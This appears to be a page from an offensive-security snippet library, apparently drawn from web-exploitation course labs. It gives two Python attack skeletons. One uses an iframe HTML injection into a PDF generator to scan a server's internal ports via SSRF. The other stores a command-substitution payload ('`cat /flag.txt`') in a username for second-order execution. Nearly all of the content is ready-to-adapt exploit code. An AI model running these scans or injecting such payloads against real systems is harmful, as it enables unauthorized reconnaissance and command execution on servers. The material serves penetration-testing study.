Skip to content
Chains

Chains

End-to-end skeletons that stitch primitives together: SSRF internal port scans and second-order injection.

Chain — SSRF internal port scan

An iframe pointed at an internal port is injected and rendered; the result length/marker distinguishes open from closed.

def probe(s, port):
    s.get(MODIFY_URL, params={"id": 4,
        "note": f'<iframe src="http://127.0.0.1:{port}"></iframe>'}, verify=False)
    r = s.get(GENERATE_URL, verify=False)            # render the PDF/page
    if "%PDF" in r.text and len(r.text) > BASELINE_LEN:
        return True                                  # iframe loaded => port open
    return False

open_ports = [p for p in PORTS if probe(s, p)]
print(f"[+] Open internal ports: {open_ports}")

Find by: ssrf, port scan, internal, iframe, pdf, html injection, enumerate ports, server side request forgery, chain, discover services, blind · Source: CWEE/PDF SSRF

Chain — second-order injection skeleton

The payload is stored in a field that a LATER action consumes (render/logout/profile). The sink, not the input, executes it.

def register(s, username, password):
    r = s.post(REGISTER_URL, json={"username": username, "password": password},
               verify=False, proxies=PROXIES)
    if "registered" not in r.text:
        sys.exit("[-] register failed")

def login(s, username, password):
    s.post(LOGIN_URL, json={"username": username, "password": password},
           verify=False, proxies=PROXIES)

# username carries the payload; the trigger endpoint is what executes it
payload_user = "`cat /flag.txt`"          # or a path-traversal / SQLi string
register(s, payload_user, password)
login(s, payload_user, password)
out = s.get(TRIGGER_URL, verify=False).json()   # the sink reflects/executes it
print(out)

Find by: second order, stored, deferred, register login trigger, persist payload, two stage, indirect, chain, username payload, sink · Source: CWEE/Second Order